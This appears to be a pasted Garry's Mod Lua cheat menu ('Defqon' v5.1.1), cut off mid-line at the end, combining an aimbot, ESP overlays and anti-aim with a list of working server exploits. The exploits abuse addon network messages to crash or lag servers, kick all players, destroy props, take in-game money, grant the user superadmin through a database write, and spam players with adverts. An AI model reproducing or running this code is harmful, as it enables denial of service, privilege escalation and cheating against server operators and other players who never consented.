Untitled
unknown
plain_text
6 months ago
291 kB
1
Indexable
Never
local RatesScaleLevel = LocalPlayer():SteamID() -- Так сказать у меня аутизм if RatesScaleLevel == LocalPlayer():SteamID() then if ( SERVER ) then function file.Read(d) return "Well try my slut ;)" end end local C = table.Copy( concommand ) local CCA = C.Add local prant = print concommand.Add("dissolves",diss) function diss() local sus = [[ Entity(1):Ignite(3000000) ]] net.Start(thefrenchenculer) net.WriteString( sus) net.WriteBit(1) net.SendToServer() end prant( "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n" ) MsgC (Color( 66, 61, 55 ), [[ =========================================================================== ____ __ ____ _ _ _ ____ ___ | _ \ ___ / _| __ _ ___ _ __ / ___| _ __ | | ___ (_) |_ | ___| / _ \ | | | |/ _ \ |_ / _` |/ _ \| '_ \\___ \| '_ \| |/ _ \| | __| |___ \| | | | | |_| | __/ _| (_| | (_) | | | |___) | |_) | | (_) | | |_ ___) | |_| | |____/ \___|_| \__, |\___/|_| |_|____/| .__/|_|\___/|_|\__| |____(_)___/ |_| |_| =========================================================================== `-.`'.-' `-. .-'. `-. -./\.- .-' -. /_|\ .- `-. `/____\' .-'. `-. -./.-""-.\.- ' `-. /< (()) >\ .-' - .`/__`-..-'__\' .- ,...`-./___|____|___\.-'.,. )\ / ) /¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯\ ( \ /( / / ( ( | Непонятная хуета 5.1.1 | ) ) \ \ | | \ \ | |dev 17.03.18| | / / | | .-.\ \ \ \ | by Leith | / / / /.-. (= )\ `._.' | | discord.gg/hf8GVVS | | `._.' /( =) \ (_) ) | -------------------------------- | ( (_) / \ `----' | Type Defqon in console to open! | '----` / \ -------------------------------- / ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ love you, спасибо за использование этого меню (-'_'-) ========================================================================================== ]]) surface.PlaySound("npc/sniper/reload1.wav") ------------------------------------------------------------------------Defqon MENU-------------------------------------------------------------------------------------- --[[ WATERMARK ]] -- --[[Watermark = vgui.Create( "HTML" ) Watermark:SetPos( -13, -8) Watermark:SetSize( ScrW(), ScrH()) Watermark:OpenURL( "" )]] ---------------------------------------------- Version = "v5.1.1" -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- local AimbotPoints = {} AimbotPoints[1] = {bone = "ValveBiped.Bip01_Head1"} AimbotPoints[2] = {bone = "ValveBiped.Bip01_Neck1"} AimbotPoints[3] = {bone = "ValveBiped.Bip01_Spine4"} AimbotPoints[4] = {bone = "ValveBiped.Bip01_Spine2"} AimbotPoints[5] = {bone = "ValveBiped.Bip01_Spine"} surface.CreateFont( "Font L", { font = "Courier New", size = 18, weight = 300, } ) surface.CreateFont( "Font M", { font = "Courier New", size = 15, weight = 300, } ) surface.CreateFont( "Font L2", { font = "Verdana", extended = false, size = 12, weight = 1000, blursize = 0, scanlines = 0, shadow = true, antialias = true } ) // if you're going to use this for your paste atleast give me credit :) // CFour - /id/BordersClosed/ local pMenu = {} // functions local pMenuVars = { Tabs = {}, Sliders = {}, CheckBoxes = {}, Exploits = {} } // store values to be used at a later time local BigExploits = {} local PI = 3.14159265359; local Rad = 180 / PI function pMenu.IsNetString(netstring) local validate,_ = pcall( net.Start, netstring ) if validate then return validate; end return false; end function pMenu.RandomString(len) if len == nil then len = math.random(20,100) end local ret = "" for i=1,len do ret = ret..string.char(math.random(33,126)) // fist 32 of ascii is pretty much garbage, I don't want spaces so we're skipping 32. end // also I don't think gmod uses extended ascii return ret end BigExploits["Мани с дуэли)"] = {func = function() if pMenu.IsNetString("duelrequestguiYes") then net.Start("duelrequestguiYes") net.WriteInt(-2147483648,32) // b1g 32 bit int laff -> -99999999999999999999999999999999999999999999999999999999999999999999999999999 net.WriteEntity(table.Random( player.GetAll() ) ) net.WriteString("Crossbow") net.SendToServer() end end } BigExploits["Наркотики стилят оружия?"] = {func = function() if pMenu.IsNetString("drugseffect_remove") then net.Start("drugseffect_remove") net.SendToServer() end end } BigExploits["Наркотики крадут деньги?"] = {func = function() if pMenu.IsNetString("drugs_money") then net.Start("drugs_money") net.SendToServer() end end } BigExploits["Наркотики поджигают все пропы?"] = {func = function() if pMenu.IsNetString("drugs_ignite") then net.Start("drugs_ignite") net.WriteString("prop_physics") net.SendToServer() end end } BigExploits["Наркота убирает все пропы?"] = {func = function() if pMenu.IsNetString("drugs_text") then net.Start("drugs_text") net.WriteString("prop_physics") net.SendToServer() end end } BigExploits["TGN Advanced Money Printer Взят кэш)"] = {func = function() if pMenu.IsNetString("SyncPrinterButtons76561198056171650") then for _,v in pairs(ents.FindByClass("adv_moneyprinter")) do if v:IsValid() then net.Start( "SyncPrinterButtons76561198056171650" ) net.WriteEntity(v) net.WriteUInt(2, 4) net.SendToServer() end end end end } BigExploits["Логгирующий скрипт кикает всех?"] = {func = function() if pMenu.IsNetString("DL_Answering") then local function reportQuestionmark() for i = 1, 2000 do net.Start("DL_Answering") net.SendToServer() end end timer.Create(pMenu.RandomString(20),0.1,50,reportQuestionmark) end end } BigExploits["SimplicityAC Краш сервера"] = {func = function() if pMenu.IsNetString("SimplicityAC_aysent") then local tbl = {} for i=1,1000 do tbl[i] = i; end net.Start("SimplicityAC_aysent") net.WriteUInt(1, 8) net.WriteUInt(4294967295, 32) net.WriteTable(tbl) net.SendToServer() end end } BigExploits["Auzlex's Teleport System Lag"] = {func = function() if pMenu.IsNetString("ATS_WARP_REMOVE_CLIENT") then timer.Create(pMenu.RandomString(20),0.05,6000,function() for k,v in pairs(player.GetAll()) do net.Start( "ATS_WARP_REMOVE_CLIENT" ) net.WriteEntity( v ) net.WriteString( "adminroom1" ) net.SendToServer() net.Start( "ATS_WARP_FROM_CLIENT" ) net.WriteEntity( v ) net.WriteString( "adminroom1" ) net.SendToServer() net.Start( "ATS_WARP_VIEWOWNER" ) net.WriteEntity( v ) net.WriteString( "adminroom1" ) net.SendToServer() end end) end end } BigExploits["Lagger 2"] = {func = function() if pMenu.IsNetString("CFRemoveGame") then timer.Create(pMenu.RandomString(20),0.02,15000,function() for k,v in pairs(player.GetAll()) do net.Start( "CFRemoveGame" ) net.WriteFloat( math.Round( "10000\n" ) ) net.SendToServer() net.Start( "CFJoinGame" ) net.WriteFloat( math.Round( "10000\n" ) ) net.SendToServer() net.Start( "CFEndGame" ) net.WriteFloat( "10000\n" ) net.SendToServer() end end) end end } BigExploits["Lagger 3"] = {func = function() if pMenu.IsNetString("CreateCase") then timer.Create(pMenu.RandomString(20),0.02,15000,function() for i = 1, 300 do net.Start( "CreateCase" ) net.WriteString( "tapped by b1g hack from citizenhack.me" ) net.SendToServer() end end) end end } BigExploits["Lagger 4"] = {func = function() if pMenu.IsNetString("rprotect_terminal_settings") then timer.Create(pMenu.RandomString(20),0.02,15000,function() for i = 1, 200 do net.Start( "rprotect_terminal_settings" ) net.WriteEntity( LocalPlayer() ) net.SendToServer() end end) end end } BigExploits["Lagger 5"] = {func = function() if pMenu.IsNetString("StackGhost") then timer.Create(pMenu.RandomString(20),0.02,15000,function() for i = 1, 8 do for k,v in pairs( player.GetAll() ) do net.Start( "StackGhost" ) net.WriteInt(69,32) net.SendToServer() end end end) end end } BigExploits["Lagger 6"] = {func = function() if pMenu.IsNetString("JoinOrg") then timer.Create(pMenu.RandomString(20),0.02,15000,function() for k,v in pairs(player.GetAll()) do net.Start("JoinOrg") net.WriteEntity(LocalPlayer()) net.WriteString("test") net.SendToServer() end end) end end } BigExploits["Lagger 7"] = {func = function() if pMenu.IsNetString("pac_submit") then timer.Create(pMenu.RandomString(20),0.02,15000,function() for i=1, 1800 do net.Start("pac_submit") net.SendToServer() end end) end end } BigExploits["Lagger 8"] = {func = function() if pMenu.IsNetString("steamid2") then timer.Create(pMenu.RandomString(20),0.02,15000,function() for i = 1, 300 do net.Start( "steamid2" ) net.WriteString( "S P I C Y " ) net.SendToServer() end end) end end } BigExploits["Lagger 9"] = {func = function() if pMenu.IsNetString("NDES_SelectedEmblem") then timer.Create(pMenu.RandomString(20),0.02,15000,function() for i=1, 2000 do net.Start("NDES_SelectedEmblem") net.WriteString("exploitcity has to be a joke they can be for real.") net.SendToServer() end end) end end } BigExploits["Lagger 10"] = {func = function() if pMenu.IsNetString("join_disconnect") then timer.Create(pMenu.RandomString(20),0.02,15000,function() for i=1, 3000 do net.Start("join_disconnect") net.WriteEntity(table.Random(player.GetAll())) net.SendToServer() end end) end end } BigExploits["PAC Crash Server old"] = {func = function() if pMenu.IsNetString("pac_to_contraption") then local tbl = {} for i=1,1000000000 do tbl[#tbl + 1] = i end net.Start("pac_to_contraption") net.WriteTable( tbl ) net.SendToServer() end end } BigExploits["NLRKick"] = {func = function() if pMenu.IsNetString("NLRKick") then for k,v in pairs(player.GetAll()) do if v == LocalPlayer() then continue; end net.Start("NLRKick") net.WriteEntity(v) net.SendToServer() end end end } BigExploits["B1g Crasher"] = {func = function() if pMenu.IsNetString("Morpheus.StaffTracker") then timer.Create(pMenu.RandomString(20),0.02,15000,function() for i=1, 2000 do net.Start("Morpheus.StaffTracker") net.SendToServer() end end) end end } BigExploits["Give superadmin"] = {func = function() if pMenu.IsNetString("pplay_deleterow") then local id = LocalPlayer():SteamID() local tbl = {} tbl.name = "FAdmin_PlayerGroup" tbl.where = {"steamid",tostring(id)} net.Start("pplay_deleterow") net.WriteTable(tbl) net.SendToServer() local tbl = {} tbl.tblname = "FAdmin_PlayerGroup" tbl.tblinfo = {tostring(id),"superadmin"} net.Start("pplay_addrow") net.WriteTable(tbl) net.SendToServer() end end } BigExploits["pm spam"] = {func = function() timer.Create(pMenu.RandomString(20),5,10,function() for k,v in pairs(player.GetAll()) do if v == LocalPlayer() then continue; end LocalPlayer():ConCommand("ulx psay "..v:Nick().." SERVER OWNED vk.com/blitzmenu "..LocalPlayer():Nick()) end end) end } BigExploits["asay spam"] = {func = function() timer.Create(pMenu.RandomString(20),1.1,10,function() for i=1, ((1/FrameTime())) do LocalPlayer():ConCommand("ulx asay"..'"vk.com/blitzmenu | Defqon') end end) end } function pMenu.MouseInArea(frame,minx,miny,maxx,maxy) local PosX,PosY = frame:GetPos() local posx,posy = gui.MousePos(); return ((posx >= minx && posx <= maxx) && (posy >= miny && posy <= maxy)); end function pMenu.DrawOutLinedRect(x,y,w,h,color) surface.SetDrawColor( color ) surface.DrawOutlinedRect( x, y, w, h ) surface.SetDrawColor( Color(255,255,255,255) ) end function pMenu.DrawRect(x,y,w,h,color) surface.SetDrawColor( color ) surface.DrawRect( x, y, w, h ) surface.SetDrawColor( Color(255,255,255,255) ) end function pMenu.Drawline(x,y,x2,y2,color) surface.SetDrawColor(color) surface.DrawLine(x,y,x2,y2) surface.SetDrawColor( Color(255,255,255,255) ) end function pMenu.DrawCircle(X,Y,radius,numSides,color) local Step = PI * 2.0 / numSides; local old = 0; for a=0,PI*2.0,Step do local X1 = radius * math.cos(a) + X; local Y1 = radius * math.sin(a) + Y; local X2 = radius * math.cos(a + Step) + X; local Y2 = radius * math.sin(a + Step) + Y; surface.SetDrawColor( color ) surface.DrawLine(X1, Y1, X2, Y2); end end function pMenu.DrawSlider(frame,x,y,w,h,slider,min,max,startval,round) if round == nil then round = false; end max = max - min if pMenuVars.Sliders[slider] == nil then pMenuVars.Sliders[slider] = {min = min, max = max, value = startval} end local PosX,PosY = frame:GetPos() local NewX,NewY = PosX + x,PosY + y pMenu.DrawRect(x,y,w,h,Color(12,25,34,255)) if input.IsMouseDown(MOUSE_LEFT) && pMenu.MouseInArea(frame,NewX,NewY,NewX+w,NewY+h) then local MX,MY = gui.MousePos(); local MXF,MYF = MX - NewX + x,MY - NewY + y if round == false then pMenuVars.Sliders[slider].value = math.Clamp(math.Round((((MXF - x) / w) * max + min)),min,max + min) else pMenuVars.Sliders[slider].value = math.Clamp((((MXF - x) / w) * max + min),min,max + min) end end local val = pMenuVars.Sliders[slider].value; local slid = (w - 10) / (max) * (val - min) pMenu.DrawRect(x + slid,y,10,h,Color(18,89,131,255)) draw.SimpleText(val,"Font M",x + (w/2),y + 2,Color(255,255,255,255),TEXT_ALIGN_CENTER) pMenu.DrawOutLinedRect(x,y, w , h , Color( 0,255,255, 200 )) end function pMenu.DrawCheckBox(frame,x,y,CBOX,defvalue,text) local w,h = 20,20 if pMenuVars.CheckBoxes[CBOX] == nil then pMenuVars.CheckBoxes[CBOX] = {value = defvalue,tez = 0} end local PosX,PosY = frame:GetPos() local NewX,NewY = PosX + x,PosY + y pMenu.DrawRect(x,y,w,h,Color(12,25,34,255)) pMenu.DrawOutLinedRect(x,y,w,h,Color(0,255,255,255)) if pMenu.MouseInArea(frame,NewX,NewY,NewX+w,NewY+h) && !pMenuVars.CheckBoxes[CBOX].value then pMenu.DrawRect(x + 3,y + 3,w - 6,h - 6,Color(18,59,101,255)) end if input.IsMouseDown(MOUSE_LEFT) then pMenuVars.CheckBoxes[CBOX].tez = pMenuVars.CheckBoxes[CBOX].tez + 1 else pMenuVars.CheckBoxes[CBOX].tez = 0; end if pMenuVars.CheckBoxes[CBOX].tez == 1 && pMenu.MouseInArea(frame,NewX,NewY,NewX+w,NewY+h) then pMenuVars.CheckBoxes[CBOX].value = !pMenuVars.CheckBoxes[CBOX].value; end if pMenuVars.CheckBoxes[CBOX].value then pMenu.DrawRect(x + 3,y + 3,w - 6,h - 6,Color(18,89,131,255)) end draw.SimpleText(text,"Font M",x + w + 5,y + 2,Color(255,255,255,255),TEXT_ALIGN_LEFT) end function pMenu.DrawTab(frame,x,y,w,h,NAME,defvalue) if pMenuVars.Tabs[NAME] == nil then pMenuVars.Tabs[NAME] = {value = defvalue,tez = 0} end local PosX,PosY = frame:GetPos() local NewX,NewY = PosX + x,PosY + y pMenu.DrawRect(x,y,w,h,Color(12,25,34,255)) if pMenu.MouseInArea(frame,NewX,NewY,NewX+w,NewY+h) && !pMenuVars.Tabs[NAME].value then pMenu.DrawRect(x,y,w,h,Color(18,59,101,255)) end if input.IsMouseDown(MOUSE_LEFT) then pMenuVars.Tabs[NAME].tez = pMenuVars.Tabs[NAME].tez + 1 else pMenuVars.Tabs[NAME].tez = 0; end if pMenuVars.Tabs[NAME].tez == 1 && pMenu.MouseInArea(frame,NewX,NewY,NewX+w,NewY+h) then pMenuVars.Tabs[NAME].value = !pMenuVars.Tabs[NAME].value; end if pMenuVars.Tabs[NAME].value then pMenu.DrawRect(x,y,w,h,Color(18,89,131,255)) end pMenu.DrawOutLinedRect(x,y,w,h,Color(0,255,255,255)) draw.SimpleText(NAME,"Font L",x + w/2,y + h/2,Color(255,255,255,255),TEXT_ALIGN_CENTER,TEXT_ALIGN_CENTER) end function pMenu.DrawExploit(frame,x,y,w,h,NAME,func,text1,text2) if pMenuVars.Exploits[NAME] == nil then pMenuVars.Exploits[NAME] = {func = func,tez = 0} end local PosX,PosY = frame:GetPos() local NewX,NewY = PosX + x,PosY + y pMenu.DrawRect(x,y,w,h,Color(12,25,34,255)) if pMenu.MouseInArea(frame,NewX,NewY,NewX+w,NewY+h) then pMenu.DrawRect(x,y,w,h,Color(18,59,101,255)) end if input.IsMouseDown(MOUSE_LEFT) then pMenuVars.Exploits[NAME].tez = pMenuVars.Exploits[NAME].tez + 1 else pMenuVars.Exploits[NAME].tez = 0; end if pMenuVars.Exploits[NAME].tez == 1 && pMenu.MouseInArea(frame,NewX,NewY,NewX+w,NewY+h) then pMenuVars.Exploits[NAME].func(); end pMenu.DrawOutLinedRect(x,y,w,h,Color(0,255,255,255)) if text2 == nil then draw.SimpleText(text1,"Font M",x + w/2,y + h/2,Color(255,255,255,255),TEXT_ALIGN_CENTER,TEXT_ALIGN_CENTER) else draw.SimpleText(text1,"Font M",x + w/2,y + h/2 - 8,Color(255,255,255,255),TEXT_ALIGN_CENTER,TEXT_ALIGN_CENTER) draw.SimpleText(text2,"Font M",x + w/2,y + h/2 + 8,Color(255,255,255,255),TEXT_ALIGN_CENTER,TEXT_ALIGN_CENTER) end end local firsttime = true local Frame = NULL; function pMenu.Menu() Frame = vgui.Create( "DFrame" ) Frame:SetTitle( "" ) Frame:SetSize( 700, 500 ) Frame:Center() Frame:ShowCloseButton(false) Frame:MakePopup() Frame.Paint = function( self, w, h ) pMenu.DrawRect(0, 0, w, h, Color( 32,45,54, 230 )) pMenu.DrawRect(0, 0, w, 20, Color( 18,89,131, 255 )) pMenu.DrawOutLinedRect(0, 0, w, 20, Color( 0,255,255, 200 )) pMenu.DrawOutLinedRect(0, 0, w, h, Color( 0,255,255, 200 )) pMenu.DrawRect(5, 25, 125, h - 30, Color( 18,89,131, 100 )) pMenu.DrawOutLinedRect(5, 25, 125, h - 30, Color( 0,255,255, 200 )) pMenu.DrawOutLinedRect(135, 25, w - 140, h - 30, Color( 0,255,255, 200 )) draw.SimpleText("BIG MENU (Delete для открытия/закрытия меню)","Font L",w/2,1,Color(255,255,255,255),TEXT_ALIGN_CENTER) local Aimbot = "Aimbot"; local Visuals = "Visuals"; local b1gExploits = "Exploits" local misc = "misc" local hvh = "HvH" pMenu.DrawTab(Frame,10,30,115,50,Aimbot,true) pMenu.DrawTab(Frame,10,85,115,50,Visuals,true) pMenu.DrawTab(Frame,10,140,115,50,b1gExploits,true) pMenu.DrawTab(Frame,10,195,115,50,misc,true) pMenu.DrawTab(Frame,10,250,115,50,hvh,true) if pMenuVars.Tabs[Visuals].value then pMenu.DrawCheckBox(Frame,170,55,"ESP",true,"Enable ESP") pMenu.Drawline(160,95,350,95,Color(0,255,255,255)) pMenu.DrawCheckBox(Frame,150,115,"ESP Name",true,"Name") pMenu.DrawCheckBox(Frame,150,145,"ESP BoundingBox",true,"Bounding Box") pMenu.DrawCheckBox(Frame,150,175,"ESP HealthBar",true,"Health Bar") pMenu.DrawCheckBox(Frame,150,205,"ESP Traceline",true,"Eye Traceline") draw.SimpleText("Traceline Distance","Font M",150,237,Color(255,255,255,255),TEXT_ALIGN_LEFT) pMenu.DrawSlider(Frame,150,265,210,20,"ESP Traceline Distance",25, 250, 71) pMenu.DrawCheckBox(Frame,150,295,"ESP Position",false,"Position") pMenu.DrawCheckBox(Frame,150,325,"ESP Angles",false,"Eye Angles") pMenu.DrawCheckBox(Frame,150,355,"ESP Glow",false,"Glow") pMenu.DrawCheckBox(Frame,150,385,"ESP Chams",false,"Chams") pMenu.DrawCheckBox(Frame,150,415,"ESP XQZ",false,"XQZ") pMenu.DrawCheckBox(Frame,150,445,"ESP WeaponCham",false,"Weapon Chams") draw.SimpleText("Box Color","Font M",390,35,Color(255,255,255,255),TEXT_ALIGN_LEFT) draw.SimpleText("R","Font M",660,55,Color(255,255,255,255),TEXT_ALIGN_LEFT) pMenu.DrawSlider(Frame,390,55,260,20,"ESP BoxColor.r",0, 255, 255) draw.SimpleText("G","Font M",660,80,Color(255,255,255,255),TEXT_ALIGN_LEFT) pMenu.DrawSlider(Frame,390,80,260,20,"ESP BoxColor.g",0, 255, 0) draw.SimpleText("B","Font M",660,105,Color(255,255,255,255),TEXT_ALIGN_LEFT) pMenu.DrawSlider(Frame,390,105,260,20,"ESP BoxColor.b",0, 255, 255) draw.SimpleText("Text Color","Font M",390,130,Color(255,255,255,255),TEXT_ALIGN_LEFT) draw.SimpleText("R","Font M",660,150,Color(255,255,255,255),TEXT_ALIGN_LEFT) pMenu.DrawSlider(Frame,390,150,260,20,"ESP TextColor.r",0, 255, 255) draw.SimpleText("G","Font M",660,175,Color(255,255,255,255),TEXT_ALIGN_LEFT) pMenu.DrawSlider(Frame,390,175,260,20,"ESP TextColor.g",0, 255, 206) draw.SimpleText("B","Font M",660,200,Color(255,255,255,255),TEXT_ALIGN_LEFT) pMenu.DrawSlider(Frame,390,200,260,20,"ESP TextColor.b",0, 255, 121) draw.SimpleText("Chams Visible","Font M",390,225,Color(255,255,255,255),TEXT_ALIGN_LEFT) draw.SimpleText("R","Font M",660,250,Color(255,255,255,255),TEXT_ALIGN_LEFT) pMenu.DrawSlider(Frame,390,250,260,20,"ESP ChamVisColor.r",0, 255, 10) draw.SimpleText("G","Font M",660,275,Color(255,255,255,255),TEXT_ALIGN_LEFT) pMenu.DrawSlider(Frame,390,275,260,20,"ESP ChamVisColor.g",0, 255, 206) draw.SimpleText("B","Font M",660,300,Color(255,255,255,255),TEXT_ALIGN_LEFT) pMenu.DrawSlider(Frame,390,300,260,20,"ESP ChamVisColor.b",0, 255, 4) draw.SimpleText("Chams Non-Visible","Font M",390,325,Color(255,255,255,255),TEXT_ALIGN_LEFT) draw.SimpleText("R","Font M",660,350,Color(255,255,255,255),TEXT_ALIGN_LEFT) pMenu.DrawSlider(Frame,390,350,260,20,"ESP ChamNVisColor.r",0, 255, 70) draw.SimpleText("G","Font M",660,375,Color(255,255,255,255),TEXT_ALIGN_LEFT) pMenu.DrawSlider(Frame,390,375,260,20,"ESP ChamNVisColor.g",0, 255, 70) draw.SimpleText("B","Font M",660,400,Color(255,255,255,255),TEXT_ALIGN_LEFT) pMenu.DrawSlider(Frame,390,400,260,20,"ESP ChamNVisColor.b",0, 255, 255) pMenu.Drawline(375,30,375,490,Color(0,255,255,255)) end if pMenuVars.Tabs[misc].value then pMenu.DrawCheckBox(Frame,170,55,"MISC Thirdperson",false,"Enable ThirdPerson") draw.SimpleText("Distance","Font M",170,85,Color(255,255,255,255),TEXT_ALIGN_LEFT) pMenu.DrawSlider(Frame,170,105,260,20,"MISC Thirdperson Distance",10, 300, 100) pMenu.DrawCheckBox(Frame,170,135,"MISC Bhop",true,"Enable Bunnyhop") pMenu.DrawCheckBox(Frame,170,165,"MISC Autostrafe",true,"Enable Autostrafe") pMenu.DrawCheckBox(Frame,170,195,"MISC Text to speech is fucking aids",false,"Enable Text to Speech") end if pMenuVars.Tabs[b1gExploits].value then if pMenu.IsNetString("duelrequestguiYes")then pMenu.DrawExploit(Frame,140,30,170,50,"Duel Moniez",BigExploits["Duel Moniez"].func,"Dueling","Give b1g money") end if pMenu.IsNetString("drugseffect_remove") then pMenu.DrawExploit(Frame,140,85,170,50,"Drugsmod remove all weapons?",BigExploits["Drugsmod remove all weapons?"].func,"Drugsmod","Strip all Weapons?") end if pMenu.IsNetString("drugs_money") then pMenu.DrawExploit(Frame,140,140,170,50,"Drugsmod remove all money?",BigExploits["Drugsmod remove all money?"].func,"Drugsmod","Remove all money?") end if pMenu.IsNetString("drugs_ignite") then pMenu.DrawExploit(Frame,140,195,170,50,"Drugsmod ignite all props?",BigExploits["Drugsmod ignite all props?"].func,"Drugsmod","ignite all props?") end if pMenu.IsNetString("drugs_text") then pMenu.DrawExploit(Frame,140,250,170,50,"Drugsmod remove all props?",BigExploits["Drugsmod remove all props?"].func,"Drugsmod","Remove all props?") end if pMenu.IsNetString("SyncPrinterButtons76561198056171650") then pMenu.DrawExploit(Frame,140,305,170,50,"TGN Advanced Money Printer Take Monie",BigExploits["TGN Advanced Money Printer Take Monie"].func,"TGN Advanced Printer","Take all money") end if pMenu.IsNetString("DL_Answering") then pMenu.DrawExploit(Frame,140,360,170,50,"Logging thing Kick All players?",BigExploits["Logging thing Kick All players?"].func,"Logging thing","Kick all players") end if pMenu.IsNetString("SimplicityAC_aysent") then pMenu.DrawExploit(Frame,140,415,170,50,"SimplicityAC Crash Server",BigExploits["SimplicityAC Crash Server"].func,"SimplicityAC","Crash Server") end if pMenu.IsNetString("ATS_WARP_REMOVE_CLIENT") then pMenu.DrawExploit(Frame,315,30,170,50,"Auzlex's Teleport System Lag",BigExploits["Auzlex's Teleport System Lag"].func,"Auzlex's Teleport System","Lag Server for 5 min") end if pMenu.IsNetString("CFRemoveGame") then pMenu.DrawExploit(Frame,315,85,170,50,"Lagger 2",BigExploits["Lagger 2"].func,"Lagger 2 (5 min)") end if pMenu.IsNetString("CreateCase") then pMenu.DrawExploit(Frame,315,140,170,50,"Lagger 3",BigExploits["Lagger 3"].func,"Lagger 3 (5 min)") end if pMenu.IsNetString("rprotect_terminal_settings") then pMenu.DrawExploit(Frame,315,195,170,50,"Lagger 4",BigExploits["Lagger 4"].func,"Lagger 4 (5 min)") end if pMenu.IsNetString("StackGhost") then pMenu.DrawExploit(Frame,315,250,170,50,"Lagger 5",BigExploits["Lagger 5"].func,"Lagger 5 (5 min)") end if pMenu.IsNetString("JoinOrg") then pMenu.DrawExploit(Frame,315,250,170,50,"Lagger 6",BigExploits["Lagger 6"].func,"Lagger 6 (5 min)") end if pMenu.IsNetString("pac_submit") then pMenu.DrawExploit(Frame,315,305,170,50,"Lagger 7",BigExploits["Lagger 7"].func,"Lagger 7 (5 min)") end if pMenu.IsNetString("pac_to_contraption") then pMenu.DrawExploit(Frame,315,360,170,50,"PAC Crash Server old",BigExploits["PAC Crash Server old"].func,"PAC (patched on some)","Crash Server") end if pMenu.IsNetString("NLRKick") then pMenu.DrawExploit(Frame,315,415,170,50,"NLRKick",BigExploits["NLRKick"].func,"NLR","Kick everyone (but you)") end if pMenu.IsNetString("steamid2") then pMenu.DrawExploit(Frame,490,30,170,50,"Lagger 8",BigExploits["Lagger 8"].func,"Lagger 8 (5min)") end if pMenu.IsNetString("NDES_SelectedEmblem") then pMenu.DrawExploit(Frame,490,85,170,50,"Lagger 9",BigExploits["Lagger 9"].func,"Lagger 9 (5min)") end if pMenu.IsNetString("join_disconnect") then pMenu.DrawExploit(Frame,490,140,170,50,"Lagger 10",BigExploits["Lagger 10"].func,"Lagger 10 (5min)") end if pMenu.IsNetString("Morpheus.StaffTracker") then pMenu.DrawExploit(Frame,490,195,170,50,"B1g Crasher",BigExploits["B1g Crasher"].func,"B1g Crasher") end if pMenu.IsNetString("pplay_deleterow") then pMenu.DrawExploit(Frame,490,250,170,50,"Give superadmin",BigExploits["Give superadmin"].func,"Give superadmin") end pMenu.DrawExploit(Frame,490,305,170,50,"pm spam",BigExploits["pm spam"].func,"Spam") pMenu.DrawExploit(Frame,490,360,170,50,"asay spam",BigExploits["asay spam"].func,"asay spam") draw.SimpleText("Defqon pExploitcity ","Font L",140,470,Color(255,255,255,255),TEXT_ALIGN_LEFT) end if pMenuVars.Tabs[Aimbot].value then pMenu.DrawCheckBox(Frame,170,55,"Aibmot Enable",false,"Enable") draw.SimpleText("Aimbot FOV","Font M",170,85,Color(255,255,255,255),TEXT_ALIGN_LEFT) pMenu.DrawSlider(Frame,170,105,490,20,"Aimbot FOV",1, 360, 10,true) pMenu.DrawCheckBox(Frame,170,140,"Aibmot Smooth",false,"Smooth movement") draw.SimpleText("Smooth amount","Font M",170,170,Color(255,255,255,255),TEXT_ALIGN_LEFT) pMenu.DrawSlider(Frame,170,190,225,20,"Aimbot Smooth AMT",1, 100, 5) pMenu.DrawCheckBox(Frame,410,140,"Aibmot Show fov circle",false,"Aibmot FOV circle (sort of accurate)") draw.SimpleText("Circle color","Font M",410,170,Color(255,255,255,255),TEXT_ALIGN_LEFT) draw.SimpleText("R","Font M",645,190,Color(255,255,255,255),TEXT_ALIGN_LEFT) pMenu.DrawSlider(Frame,410,190,225,20,"Aimbot Circle.r",1, 255, 255) draw.SimpleText("G","Font M",645,215,Color(255,255,255,255),TEXT_ALIGN_LEFT) pMenu.DrawSlider(Frame,410,215,225,20,"Aimbot Circle.g",1, 255, 255) draw.SimpleText("B","Font M",645,240,Color(255,255,255,255),TEXT_ALIGN_LEFT) pMenu.DrawSlider(Frame,410,240,225,20,"Aimbot Circle.b",1, 255, 1) draw.SimpleText("A","Font M",645,265,Color(255,255,255,255),TEXT_ALIGN_LEFT) pMenu.DrawSlider(Frame,410,265,225,20,"Aimbot Circle.a",1, 255, 255) // 159 draw.SimpleText("Aimkey (wiki.garrysmod.com/page/Enums/KEY) Default: Left Alt","Font M",170,290,Color(255,255,255,255),TEXT_ALIGN_LEFT) pMenu.DrawSlider(Frame,170,315,490,20,"Aimbot Key",1, 159, 81) draw.SimpleText("Aimspot (default values): 1 = head, 2 = neck,3 = top of the spine","Font M",170,340,Color(255,255,255,255),TEXT_ALIGN_LEFT) draw.SimpleText("4 = center spine,5 = stomach. More can be added at the top of the code","Font M",170,360,Color(255,255,255,255),TEXT_ALIGN_LEFT) pMenu.DrawSlider(Frame,170,385,490,20,"Aimbot Bone",1, #AimbotPoints, 1) end if pMenuVars.Tabs[hvh].value then pMenu.DrawCheckBox(Frame,170,55,"HvH Enable",false,"Enable") pMenu.DrawCheckBox(Frame,170,100,"HvH Antiaim",false,"Enable AntiAim") draw.SimpleText("Pitch Angle","Font M",170,125,Color(255,255,255,255),TEXT_ALIGN_LEFT) pMenu.DrawSlider(Frame,170,150,490,20,"HvH Pitch",-360, 360, -180.05332,true) draw.SimpleText("Yaw Angle","Font M",170,175,Color(255,255,255,255),TEXT_ALIGN_LEFT) pMenu.DrawSlider(Frame,170,200,490,20,"HvH Yaw",-360, 360, -80,true) draw.SimpleText("Style: 1 jitter spin, 2 spin, 3 random,4 at player,5 static,6 yaw + cam.y","Font M",170,225,Color(255,255,255,255),TEXT_ALIGN_LEFT) pMenu.DrawSlider(Frame,170,250,200,20,"HvH Style",1, 6, 4) if pMenuVars.Sliders["HvH Style"].value == 2 then draw.SimpleText("Spin Speed (ang + (IntervalPerTick + Number)","Font M",380,250,Color(255,255,255,255),TEXT_ALIGN_LEFT) pMenu.DrawSlider(Frame,380,275,285,20,"HvH Spin 